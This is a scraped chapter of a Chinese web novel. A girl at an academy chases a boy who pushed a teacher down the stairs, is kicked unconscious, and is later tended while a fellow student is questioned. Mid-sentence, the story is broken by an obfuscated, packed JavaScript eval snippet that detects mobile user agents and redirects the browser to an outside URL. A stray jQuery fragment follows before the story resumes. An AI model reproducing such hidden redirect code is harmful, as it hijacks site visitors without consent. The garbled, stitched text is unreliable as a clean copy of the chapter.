默认冷灰
24号文字
方正启体

9. 第九章

作者:盏赤本书字数:K更新时间:
    10


    蒙凌山决定跟着方夫子去一探究竟,然而等乐课结束想迈开腿才发现——这几日与解琪同进同出的,对方已经逐渐习惯和自己一道了,自己好像也是。


    解琪是喜欢和人同路的性子,但是跟踪方夫子的事实在不好与她解释,总不能让她也一起吧?


    下学铃已经打了,众学子纷纷自苦练阁散去,只余下前面夫子座位处还有一位小郎君在向方夫子讨教,看身形应该是白嘉。


    “!”蒙凌山一时间计上心头。


    解琪将乐课选用的笛子放回原处,正要挽上蒙凌山的手一道去饭堂,岂料蒙凌山躲开了她的手,侧着身子扭捏道:“琪姐姐,我……你先去饭堂吧,我想同白学子说……”


    正巧这个时候白嘉与方夫子说完话,转身往她们的方向来。


    解琪心领神会了,不过好像有些领会过头了,她赶在白嘉走到旁边前急急把话说完,没给蒙凌山反驳的机会:“你想和白郎君一同用午膳对不对!好!……我是说,我先去饭堂了,不会打扰你们的!”


    “不……”蒙凌山话卡在嘴里没能说出来,她本意只是想借着与白嘉说话的机会支开解琪而已,这下倒是更方便了。


    解琪总不会去找白嘉求证他们有没有说话……吧。算了,反正人就在这里,说一句话也是说。至于用膳,到时候就说被拒绝就好了。


    旁边白嘉将琵琶放好,就与蒙凌山对上了视线。


    “……”


    蒙凌山还没有想好要说什么,对面却先开口了。


    “凌……蒙二姑娘,”白嘉下意识要喊她的名字,但又觉得太过亲密,想起听吴诉说过她是蒙家的二小姐,便改了口。“我昨日便觉得你看我的眼神有些奇怪,你好像对我救了太子殿下这件事感到很……愧疚?这是何故?”


    “啊?”蒙凌山被问懵了,但是自己似乎好像确实……挺愧疚的。毕竟惊了太子的马原本是她的搭档,而白嘉,前世他根本不在书院,本不该有此一役。她知道这是谬论,逻辑不成立,但她还是隐隐觉得与自己有关……


    “是我心甘情愿的。”


    “什么?”


    “我是说,救太子殿下是我自愿的。”白嘉直视她的眼睛,好像并不是为了询问原因。“所以受了伤也好、丢了性命也罢,都是我自己的选择。与你无关。”


    蒙凌山看见白嘉眼睛里干干净净、坦坦荡荡,没有虚伪逢迎,也没有刻意造作,忽然觉得他耀眼得让人无法直视。她偏开头发现方夫子坐在讲台前竟然还没走,只不过他面前的乐谱摊开了很久都没有翻一页。


    “知、知道了。”两人之间的距离并未逾矩,但蒙凌山后知后觉尴尬起来,她手下意识揪着袖口,找理由跑路。“我,我还有事,先走了。”


    白嘉见蒙凌山逃似地奔出苦练阁,不明所以地挠了挠头。他只是想安慰一下她,没想到反应那么大。


    忽然有人拍了拍白嘉的肩,他下意识就要将其擒拿住。


    “别别别!是我!”身后传来哀嚎声,原来是方夫子不知什么时候收起了乐谱走到他身后。


    白嘉迅速收手道歉:“对不起方夫子,我在军营长大的,习惯了。”


    “……没事,你夫子我也不至于那么脆弱。”面对这位真心热爱乐声的学子,方夫子不由得低声劝道:“只是下次再与小娘子单独说话记得要注意一下周遭,要不是我还在这,恐怕你与蒙学子都已经被窦舍监抓去了。”


    白嘉:“?”


    蒙凌山虽然脑子一热跑出了苦练阁,但她没忘了自己原本是要做什么。


    她知道窦舍监在书院中总是神出鬼没的,专门查探是否有小郎君小娘子私相授受。所以蒙凌山没走多远,就在人来人往的广场边上假装等人,实则偷摸注意着那边苦练阁的动静。


    很快,方夫子就过来了,他边走边小幅度活动着胳膊,并没有发现一边偷窥的蒙凌山。


    方夫子今日的课已经结束了,按照蒙凌山对他的了解,他应该是要回家同娘子用膳的——要是蒙凌山知道方夫子因为自己和白嘉而白耽搁了些时辰回家,定又要心情复杂了。


    众学子对方夫子的印象都很好,于是看见他的外向些的学子纷纷与他打招呼。


    蒙凌山眼尖地发现来往的学子中果然有邹明义,他与几个小郎君有说有笑,竟然也向方夫子打招呼。


    蒙凌山:“?”


    方夫子要往广场北面的阶梯下去了,说时迟那时快,忽然有一个学子从人群中冲了出来,撞在了他身上!


    方夫子虽然是乐课夫子,但他做夫子之前只是个不务正业的文弱书生,怎么抵得过十三四岁少年的全力一撞?


    方夫子从阶梯上摔下去了,消失在蒙凌山的视线之外。但那个撞他的学子却及时稳住了身形,撒开腿往广场东面学舍方向逃了。


    “方夫子!”有离得近的学生冲过去伸手想要拉方夫子却没拉住。一部分机敏的学子反应很快,立时就下阶梯去看方夫子的情况,而一部分学子被吓住了:阶梯有接近四丈高,方夫子摔下去还能活?


    蒙凌山心脏几乎骤停,但她强迫自己冷静下来:前世方夫子只是摔伤,并未伤及性命,当务之急是要抓住那个撞他的人……


    思考是刹那的事,蒙凌山咬了咬发白的嘴唇,往学舍方向追去。


    本以为会很难找到人,毕竟大家都穿着一样白花花的深衣,没想到蒙凌山在去往学舍的石板路上就看到了那个人。


    他可能是第一次做这种事,所以慌张逃窜,在左右自如谈笑走过的学子中显得分外可疑,时不时就绊一下脚。


    蒙凌山看得清楚,那是一个也有些面熟的小郎君——但可惜这次没有像想起太子一样想起他是谁,可能她前世只是见过他但是接触不多。


    蒙凌山一直追着他路过了听涛阁又路过了揽月台,沿着镜心湖边打着弯走了几丈后滑下草坡,只见草坡下几株矮树间的围墙上竟然有一个半人高的狗洞。


    那小郎君蹲下身正要钻进洞里,蒙凌山一把抓住了他的衣领勒住他脖颈,把他拽了回来。


    “你为什么要撞方夫子?”


    “我,我不知道你在说什么!”那小郎君看上去十三四岁的样子,明明比蒙凌山高了半个头不止,气势却是虚得很。他几乎被勒出眼泪:“咳咳咳……你、你先松手,勒死我了!”


    蒙凌山这才看清楚原来他脖子上用红线穿了个吊


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164559|196644||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    坠,此时正被她和衣领一齐抓着往后拉。她就说,拉深衣后领应该是勒不到脖子的。


    可能因为对方气场不足,也可能是少年看上去瘦身躯瘦弱,也可能是蒙凌山其实一直没有好好记着自己现在只是一个十一岁的孩子……总之,她放开了扯着少年脖颈红线的手,她轻敌了。


    于是在蒙凌山松手的一瞬间,少年的反击来得又准又狠——她被他一脚直踹在胸前,一下子退到几步外倒下。


    蒙凌山一时疼痛难忍,失去了站起来的力气,只能眼睁睁看着少年转身钻进了洞里,身影消失不见。


    她渐渐觉得脑袋发晕眼前发黑,甚至耳朵里也好像只听得到持续的蜂鸣声……


    蒙凌山觉得自己绝对有气的成分在里面,怎么就轻敌了呢?好不容易抓到个尾巴……呃,好痛,不会是肋骨断了吧,如果不是背后有草坡作垫子,她估计自己会伤的更严重……


    ……不对,草坡有这么软吗?


    这是蒙凌山那天最后的意识。


    11


    镜心湖边,舍监值守的阁楼里。


    余山长从阁楼顶上的瞭望台往下看,学生们的学舍和饭堂一览无余,虽然入眼是师生和睦一片安乐的景象,但他感觉自己半辈子的冷汗都要在这几天流完了。


    新学子入书院才三日,不是太子惊马就是方夫子摔伤,而方夫子前脚才摔下去,后脚这边竟然有学子被袭击了……


    “山长不必担忧,”原来是窦舍监上来了,她满脸疲惫:“那位女学生已经由石夫子看过了,她只是肋骨断了,疼晕了而已。后续治疗会请凝真观廖老大夫的孙女来帮忙。”


    余青山汗颜,什么叫“只是肋骨断了”,窦舍监真是语出惊人。但他也累了,不想多做口舌争执。于是只说:“那就好那就好。”


    余山长走后,窦舍监回到一楼的厢房,看见坐在榻前地上的白嘉一手撑着脑袋发呆,另一只手正被躺在床上昏睡的蒙凌山紧紧抓着。


    她咳嗽一声,见白嘉看过来又想解释他是被蒙凌山死抓着不放所以拉不开的,窦舍监打断他:“下不为例。”


    先前情况紧急,没有来得及询问关于袭击者的事,窦舍监拿了纸笔,问白嘉:“白学子,你可看清那袭击者的样貌了?他是否是书院的学生?”


    白嘉低头思考了几秒,露出为难的表情:“抱歉舍监,我到的时候蒙学子已经倒在哪里了,并没有看见袭击者。”


    窦舍监很谨慎:“那你为什么会到那里去?当时是午膳时间,你怎么不去饭堂用饭?”


    “我一直很喜欢琵琶,早就期待着可以学,但今日乐课方夫子说我天赋不高……”


    窦舍监在心中点头,确实,原本白嘉为救太子受了些伤,今日应该在学舍休息,但他却赶着去上乐课。


    白嘉尴尬地移开目光,“……所以我心情不是很好,就到湖边散心去了,想着等会再去吃午膳的。”


    可巧,白嘉的肚子仿佛应和他的话似地响了起来。


    “……”窦舍监停笔,“那好,我问完了,你——”


    窦舍监看了一眼两人紧紧握在一起的手,转身在柜子里找出来了一盒云片糕递给白嘉:“先垫垫肚子。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)